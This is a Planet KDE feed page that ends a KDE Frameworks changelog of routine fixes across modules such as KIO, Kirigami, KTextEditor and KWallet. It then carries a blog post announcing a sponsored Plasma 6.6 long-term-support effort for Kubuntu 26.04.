  • Kfilewidgettest: use the QPointF QDragEnterEvent ctor on Qt 6.12+. Commit.
  • KDirModel: ignore stale listing completion for a directory no longer in the model. Commit.
  • KFilePlacesView: cap the icon size by the real row height. Commit.
  • Kioworkers/file: Restore ACL writes in FileProtocol::chmod(). Commit.
  • WidgetsAskUserActionHandler: show the SSL error dialog on the GUI thread. Commit. Fixes bug #519614
  • Knewfileinfo: add parsing fallbacks. Commit.
  • Knewfileinfo: convert QString url to QUrl and QString filePath to QFileInfo. Commit.
  • KUrlComboBox: mark drag properly as copy-only. Commit.
  • KUrlNavigatorButton: Stat with no-auth-prompt. Commit.
  • KIOGui: avoid QtConcurrent module header include, do link Qt6::Concurrent. Commit.
  • CopyJob: cache the destination filesystem type instead of re-probing per file. Commit.
  • KIOCore: drop unused Qt6::Concurrent linking. Commit.
  • Threadconnectionbackendtest: ensure to have a context passed. Commit.
  • File: strip local host from file:// URLs before accessing the path. Commit. Fixes bug #483297
  • KCoreDirListerCache: don't adopt duplicated entries from a changing dir. Commit.
  • Filewidgets: KUrlNavigator: fix applying URLs when text is not actually a relative path. Commit.
  • Kioworkers/ftp: Claim that root dir is writable during stat. Commit.
  • KUrlNavigator: Insert buttons at the correct place. Commit.
  • Autotests: cover the DropIntoNewFolder drop plugin. Commit.
  • Filewidgets: DropIntoNewFolder: do not tie folder creation to the plugin lifetime. Commit.
  • SocketConnectionBackend: skip the resume read when the socket is closed. Commit.
  • SocketConnectionBackend: limit the resume read workaround to Windows. Commit.
  • SlaveBase: take a connection backend instead of socket addresses. Commit.
  • ConnectionBackend: keep payload-reassembly length out of the shared Task. Commit.
  • ConnectionBackend: rename closeSocket() to close(). Commit.
  • ThreadConnectionBackend: drop the unused worker back-pointer. Commit.
  • Autotests: add ThreadConnectionBackend unit test. Commit.
  • Core: run in-process workers over ThreadConnectionBackend, not a socket. Commit. See bug #342056
  • Core: add ThreadConnectionBackend for in-process workers. Commit.
  • Core: make ConnectionBackend an abstract transport with a socket backend. Commit.
Kirigami
  • Clickable link OverlaySheet QML type. Commit. Fixes bug #522348
  • FormEntry/FormAction (cards): fix items alignments. Commit.
  • FormGroup/flat: Consider also invisible items for implicitWidth. Commit.
  • Fix tst_menudialog not actually doing anything. Commit.
  • Make the GlobalDrawer correctly size to its contents again. Commit.
  • Sensible height for license sheet. Commit.
  • FormEntry: don't show invalid leading ind trailing icons. Commit.
  • FormEntry: fix the subtitle when the contentITem doesn't have an indicator. Commit.
  • Default to small size in FormAction. Commit.
  • Same default width that kirigami-addons form has. Commit.
  • Port AboutItem to the new form layout. Commit.
  • FormEntry: items don't fill the width by default. Commit.
  • ScrollablePage: Fix enter animation running when changing focus. Commit. Fixes bug #515811
  • Work around missing support for QKeyShortcut in shortcut. Commit.
  • Icon: use QUrl::toLocalFile() for file: URL sources. Commit.
  • Icon: keep the aspect ratio of portrait images with roundToIconSize. Commit.
  • PlatformTheme: Only emit color changes if color actually changes. Commit.
  • Icon: snap the aspect-preserving painted size to device pixels. Commit.
  • Autotests: fix flaky keyboard list navigation test. Commit.
  • Autotests: fix flaky test_defaultFocusInScrollablePage. Commit.
  • NavigationTabBar: add scrolling/shortcuts for tab switching. Commit.
  • ToolBarPageHeader: Rephrase page.actions check to make more sense. Commit.
  • Make qml generation deterministic by adding explicit dependencies. Commit.
  • Port application template away from deprecated ki18n API. Commit.
  • Controls: Guard against re-setting the global header with the same URL in Page. Commit.
KMime
  • Limit the strlen search length as well. Commit.
  • Abort search for encoding word end on first error. Commit.
KNotifications
  • Fix since version in documentation. Commit.
  • Ensure we have notifyrc file for platform notification configuration. Commit.
  • Add API for showing the platform's notification configuration. Commit.
  • Remove message extraction in KNotifications. Commit.
KPackage
  • Remove obsolete doxygen file. Commit.
KService
  • Deprecate KSycoca::setupTestMenu. Commit.
  • Fix static build by exporting resource targets. Commit.
  • Remove LegacyDir from fallback applications.menu. Commit.
  • Add fallback applications.menu file. Commit.
  • Ksycocatype.h: provide version macros to consumers. Commit.
KTextEditor
  • Vi-mode: Avoid redundant BLOCK in the status bar. Commit.
  • Vi-mode: Fix synchronization of the view block selection. Commit.
  • Vi-mode: Fix block insert with tabs. Commit. Fixes bug #488801
  • Drag pixmap: use devicePixelRatio of highest screen device pixel ratio. Commit.
  • Drag pixmap: adapt hotspot to pixmap scaling. Commit.
  • Vi-mode: Add Ctrl-A command to insert mode. Commit.
  • Vi-mode: Implement column cursor swap for v-block mode. Commit.
  • Vi-mode: Update view selection when switching modes. Commit.
  • Vi-mode: Fix switching to vblock mode from another visual mode. Commit.
  • Vi-mode: Simplify switching to visual modes. Commit.
  • Vi-mode: Add the Date command. Commit.
  • Vi-mode: Fix cursor position after paste in insert mode. Commit.
  • Vi-mode: Fix cursor position after pasting block. Commit.
  • Vi-mode: Fix AltGr detection on Windows. Commit.
  • Renderer: Small refactoring of paintCaret method. Commit.
  • Renderer: Fix drawing of all the cursor styles. Commit.
  • Change icon for search plugin display options. Commit.
  • Fix animation artifact during animation run. Commit.
  • Avoid initial draw. Commit.
  • Cleanup more painting. Commit. See bug #522525
  • Cleanup render hint setting. Commit.
  • Ensure we abort completion on config changes. Commit. Fixes bug #521492
  • Vi-mode: Fix count-paste of a block. Commit.
KTextTemplate
  • Consider non-empty generic containers "true" as well. Commit.
  • Turn scriptable tag support in a plugin, as originally intended. Commit.
  • Use QLocale for currency value formatting. Commit.
  • Don't hardcode ISO date/time format. Commit.
  • Token.h: provide version macros to consumers. Commit.
  • Out-of-line the ScriptableTagLibrary destructor. Commit.
KUserFeedback
  • CI - Flatpak - Update Runtime to 6.11. Commit.
KWallet
  • Drop kwalletmanager launching from kwalletd. Commit.
  • Move org.freedesktop.secrets group to KConfigXT. Commit.
  • Ksecretd: Drop unused functions. Commit.
  • Ksecretd: Drop registering KWallet interface. Commit.
  • Use correct internal function to query local wallet. Commit.
  • Port to KConfigXT. Commit.
  • Drop code for writing default wallet in kwalletd. Commit.
  • Query NetworkWallet and LocalWallet from backend. Commit.
  • Fix localWallet with external backend. Commit.
  • Kwalletd: Remove config fallback for networkWallet(). Commit.
  • Actually set ok to true when defaultCollection succeeds. Commit.
  • Drop unused internal pamOpen from kwalletd. Commit.
  • Drop dead screensaver integration. Commit.
  • Kwalletd: fix use-after-move in retrieveCollection() returning null on first lookup. Commit. Fixes bug #522847. See bug #512135
  • Kwallet-query: persist writes to new entries. Commit. Fixes bug #491898
KWidgetsAddons
  • KColorCombo: support d'n'dropping colors to set the color. Commit.
  • KColorButton, KColorCombo: add contextmenu for Copy & Paste of color. Commit.
  • KColorCombo: fix missing render update on changing color from code. Commit.
  • Split off KColorMimeData copy into separate file, for shared internal usage. Commit.
  • KColorButton: mark drag properly as copy-only. Commit.
  • KUrlLabel: fix default value of useCursor flag to match docs & used corsor. Commit.
  • KAssistantDialog: Merge "next" and "finish" buttons. Commit.
  • Allow to test if on last visibile page. Commit.
  • KColorButton: use chained constructor calls over duplicating logic. Commit.
KXMLGUI
  • Avoid duplicate aboutToShow connections on the Settings menu. Commit.
  • KEditToolBar: show no-drop cursor with "Available" list for own items. Commit.
Oxygen Icons
  • This icon might be needed in the future and setting kinda ask for it but the name is kinda off as its bout x11 apps. Commit.
  • More cleanup. Commit.
  • Cleaning up an old icon not very svg. Commit.
  • Missing icon on system settings. Commit.
  • One more symbolic icon. Commit.
  • More versions and better visibility. Commit.
  • Some applets use these. Commit.
  • Better contrast. Commit.
  • New versions scale better simpler code. Commit.
  • Remove dangling actor symbolic link. Commit.
  • Missing symbolic potential icon. Commit.
  • More icons. Commit.
  • Missing icon on symbolic I think. Commit.
  • The remaining sizes. Commit.
  • Further improve Tokodon artwork. Commit.
  • Will do for now, smaller versions will actually have to be simplified. Commit.
  • Work in progress. Commit.
  • This link should not be needed ita a bug on the nm applet not requesting the symbolic variant AFIK. Commit.
  • Improved contrast on dark bg. Commit.
  • More icons sizes that were missing. Commit.
  • Improved version less noise. Commit.
  • More versions and improvements. Commit.
  • New symbolic icon. Commit.
  • Improved version after testing. Commit.
  • Symbolic version. Commit.
  • Missing icons on juk. Commit.
  • More sizes for juk. Commit.
  • One more size. Commit.
  • New app icon. Commit.
  • 16x16 version. Commit.
  • 22x22 version. Commit.
  • Minor fixes to previous commit. Commit.
  • Another icons and replacing an old one based on the new icon. Commit.
  • Still not fully convinced. Commit.
  • Missed this one. Commit.
  • Remaining icons sizes missing. Commit.
  • Missing icons and bug fixing. Commit.
  • Missed this one. Commit.
  • Icons: enforce current-color-scheme style id across applet SVGs. Commit.
  • Fixing minor bugs. Commit.
  • Final version. Commit.
  • And more progress ...WIP. Commit.
  • More progress. Commit.
  • Different direction. Commit.
  • Minor fixes to kamoso icon, introducins a new one for testing. Commit.
  • More osd icons. Commit.
  • DrKonqi icon for try. Commit.
  • Updated info. Commit.
  • New size. Commit.
  • Osd symbolic icons initial commit. Commit.
  • New symbolic icon. Commit.
  • Unintentional deletion. Commit.
  • New icons. Commit.
  • Symlink for kontacts. Commit.
  • New symbolic icon for use in system-try. Commit.
  • Add IM user online icon. Commit.
Prison
  • Include only needed headers instead of QtConcurrent module header. Commit.
Purpose
  • AlternativesView: Added a disabledPlugins property. Commit.
QQC2 Desktop Style
  • TextArea: Use Wrap instead of WordWrap. Commit.
  • Use StyleItem for item view background painting. Commit.
  • Allow QPA Platform Themes to avoid KIconEngine. Commit.
  • Prevent TextField height changes when switching echo modes. Commit.
Solid
  • Udisks2: StorageAccess: if '/' is a mountpoint, return that as filePath(). Commit.
  • Solidnamespace.h: provide version macros to consumers. Commit.
Syntax Highlighting
  • Don't do a reload on language change. Commit. Fixes bug #523233
  • Slint: Include upstream changes. Commit.
  • RTF: Fix unbounded context stack growth. Commit.
  • Cmake.xml: update syntax for CMake 4.4. Commit.
  • Fix listening for language changes, just react on the app instance event. Commit.
  • Update MIME types for shell scripts. Commit.
  • Meson: add meson.options to recognized extensions. Commit.
  • M3u: add m3u8 as one possible extension. Commit.
  • Cpp: Add qmqlintegration macros from Qt 6.5. Commit.

14 Aug 2026 12:00am GMT

13 Aug 2026

feedPlanet KDE | English

What a real LTS looks like: Kubuntu 26.04

Last year, Plasma developers canceled the long-term support (LTS) version of Plasma. Why?

We had a few reasons:

As a consolation prize for canceling the Plasma LTS product, we decided at the time to add an additional bug-fix release to the normal Plasma schedule, effectively lengthening the support period for each non-LTS Plasma version by 2 months - from 4 months to 6.

And as a result, there have been no Plasma 6 LTS versions.

…Until now!

Plasma 6.6 is now an LTS version. And not just Plasma 6.6 itself, but also a specific version of KDE Frameworks: 6.24, which will also receive backported bug-fixes. And Gear 25.12, too!

What changed?

It wasn't a change to my or anyone else in KDE's opinion of what a proper LTS product looks like. Rather, it was the Kubuntu Focus company stepping up to fund the creation of one, as announced today!

That's right, Kubuntu focus is sponsoring a Plasma 6.6 LTS product for the next three years!

This consists of a couple of pieces:

First of all, Kubuntu Focus is sponsoring Techpaladin Software to fix bugs identified by Kubuntu 26.04 users. (full disclosure: I'm the CEO of Techpaladin Software). We're not just backporting bug-fixes that happen to get made, but rather actively working with the Kubuntu folks to identify and fix pain points experienced by them and their users.

Plasma 6.6 will thus remain eligible for bug reports for the next three years, and we'll do our best to get them fixed and backported.

Speaking of which, we'll be backporting fixes for more than just Plasma 6.6 - relevant ones will also to Frameworks 6.24 and Gear 25.12, the versions that Kubuntu 26.04 ships with. The whole KDE part of the software stack!

Finally, Kubuntu Focus is sponsoring additional continuous integration resources owned by KDE e.V. to handle the load of validating changes made to these older versions. And they've been generous enough to sponsor more than was strictly speaking needed for the initiative, so KDE in general benefits from faster CI times even for non-LTS work!

We're calling the whole thing the "Bullet-Proof KDE Initiative".


This is what a real LTS initiative looks like, folks: people involved with an OS putting the resources into making a non-LTS upstream release into an LTS one, properly. With bug fixes - not just security fixes - backported to all levels of the software stack, not just the top one.

So I predict Kubuntu 26.04 promises to offer the best KDE experience of any Kubuntu release ever!

I know a lot of folks really enjoyed Kubuntu's 24.04 release because of how it lined up with Plasma 5.27, which we made an LTS release for an extended period of time during the Plasma 6 transition. Well, this is the same thing, only with a great version of Plasma 6 included, and supported for even longer!

Aha, so you're a sell-out who changed his opinions about LTS due to money!

My opinion remains the same: I don't dislike LTS products - only fake ones that promise support but don't actually deliver it. With this initiative, users of Kubuntu 26.04 get a real LTS product, with real support backed by a pair of commercial companies.

So this is all a commercial thing? KDE gone korporate?

It's largely a commercial initiative between Kubuntu Focus and Techpaladin Software, yes - though KDE e.V. has signed off on the initiative and agreed to accept funding for the new CI resources.

Both companies are good citizens in the KDE ecosystem: KDE e.V. patrons, employers of engineers you've heard of, and providers of hardware and services to users of KDE software.

And the benefits accrue far beyond just the companies. Obviously Kubuntu 26.04 users benefit, even those who didn't buy a computer from Kubuntu Focus. And as I mentioned earlier, all of KDE now has more general-purpose CI resources. Also, many of the LTS bugs that Techpaladin people have already fixed were affecting people on later Plasma versions, too! Everyone wins here.

So the commercial part is not a limitation on what anyone else gets for free or is allowed to do; it's just an acknowledgement that creating a real LTS product costs money.

Wow, really cool! How can I help?

Anyone in the wider KDE community who's interested in this kind of thing should feel comfortable backporting important and safe bug-fixes to the stable branches for Plasma 6.6, Frameworks 6.24, and Gear 25.12. There will be a Kubuntu CI runner that makes sure nothing breaks (at least, nothing that's tested in the CI! So keep that test coverage high).

And if you happen to run discrete-release OS and would like to get in on the action, feel free to ship Plasma 6.6 and invest some of your own resources into it! It will be very welcome to see more people fixing bugs reported by LTS users that are still present on master, or backporting more recent bug-fixes to the LTS version. Again, everybody wins here!

13 Aug 2026 6:10pm GMT